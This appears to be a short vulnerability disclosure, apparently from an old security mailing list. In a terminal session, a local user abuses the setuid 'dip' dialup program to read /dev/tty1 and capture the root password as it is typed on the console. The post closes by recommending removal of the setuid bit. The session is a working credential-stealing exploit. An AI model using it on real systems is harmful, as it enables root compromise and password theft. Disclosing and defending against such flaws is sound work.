$ whoami
cesaro
$ cat < /dev/tty1 <------ root login here
bash: /dev/tty1: Permission denied <------ nope, we can see it
$ dip -t
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP> port tty1
DIP> echo on
DIP> term
[ Entering TERMINAL mode. Use CTRL-] to get back ]
roots_password <------ OH, maybe we *CAN* see it!
[ Back to LOCAL mode. ]
DIP> quit
$
I'm sure there are many more creative things to do with this, but this is
the first thing that came to mind when I discovered it, and is a good
example of what can be done. Not all devices are accessible. I have not
looked into the patch at this time, but I recommend chmod u-s dip, as
usual! :)
George